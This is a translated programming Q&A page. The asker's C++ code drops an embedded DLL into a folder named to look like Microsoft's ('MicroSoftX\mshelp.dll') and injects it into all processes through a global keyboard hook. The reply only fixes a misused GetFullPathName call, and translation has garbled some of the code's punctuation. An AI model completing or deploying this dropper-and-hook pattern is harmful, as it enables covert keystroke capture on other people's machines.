GetFullPathName 不会获取 DLL 路径

GetFullPathName wont get DLL Path

本文关键字:DLL 路径 获取 GetFullPathName      更新时间:2023-10-16

我正在尝试从资源加载 DLL 并使用 SetWindowsHook 将 DLL 注入所有进程 GetFullPathName 在这种情况下似乎不起作用,现在我问在这种情况下我会怎么做才能获取 DLL 路径,我的代码看起来像这样。我是使用它的新手,因此我似乎无法获得DLL路径

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include "resource.h"
void ExtractnRun()
{
    char* name = getenv("USERNAME");
    char info[1500];
    char aNewFile[1500];
    sprintf(info,"C:\Users\%s\AppData\Local\MicroSoftX",name);
    //_mkdir(info);
    if (CreateDirectoryA(info, NULL)) 
    {
        MessageBoxA(NULL, "Directory Created", "", MB_OK);
    }
    // Extract From Resource 
    HRSRC hrsrc = FindResource(0, MAKEINTRESOURCE(IDR_DLL21),"DLL2");
    DWORD size = SizeofResource(0, hrsrc);
    PVOID buff = LockResource(LoadResource(0, hrsrc));
    DWORD dwBytesToWrite = (DWORD)strlen((char*)buff);
    DWORD dwBytesWritten = 0;
    sprintf(aNewFile, "C:\Users\%s\AppData\Local\MicroSoftX\mshelp.dll", name);
    HANDLE hFile = CreateFileA(aNewFile, GENERIC_WRITE, 0, NULL,CREATE_ALWAYS ,FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile) 
    {
        MessageBoxA(NULL, "File Created!", "", MB_OK);
    }
    /*FILE* f = fopen(aNewFile, "wb");
    fwrite(buff,1,size,f);
    fclose(f);
    */
    if (WriteFile(hFile, buff, size, &dwBytesWritten, NULL)) 
    {
        MessageBoxA(NULL, "Data Written to DLL", "", MB_OK);
    }
    /*STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    */
    char dll[MAX_PATH];
    GetFullPathName((LPCSTR)hFile, MAX_PATH, dll, NULL); // Shows Error here Cannot get Full Path of DLL
    printf("%sn",dll);
    HMODULE MYdll = LoadLibrary(dll);
    if (MYdll == NULL)
    {
        printf("dll cannot be found!n");
        getchar();
        printf("DLL : %s", MYdll);
    }
    HOOKPROC addr = (HOOKPROC)GetProcAddress(MYdll, "SayHelloWorld");
    if (addr == NULL)
    {
        printf("Cannot find Address!n");
        getchar();
    }
    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, MYdll, 0);
    if (handle == NULL)
    {
        printf("Hook Failed!n");
        getchar();
    }
    printf("Program Hooked!n");
    getchar();
    UnhookWindowsHookEx(handle);
    //printf("%sn",dll);
    system("PAUSE");
}

int main()
{
    ExtractnRun();
    return 0;
}

我得到的异常错误如下所示:

在资源

示例中0x7764171A (ntdll.dll( 引发的异常.exe: 0xC0000005:访问违规读取位置0x0000009C。

如果存在此异常的处理程序,则程序可能是安全的 继续。

我没有得到正确的什么?

您不能将文件处理程序传递给"GetFullPahtName"。它应该是文件名以查找完整路径。

GetFullPathName((LPCSTR(hFile, MAX_PATH, dll, NULL(;

详情请参阅以下链接。

https://msdn.microsoft.com/en-us/library/windows/desktop/aa364963(v=vs.85(.aspx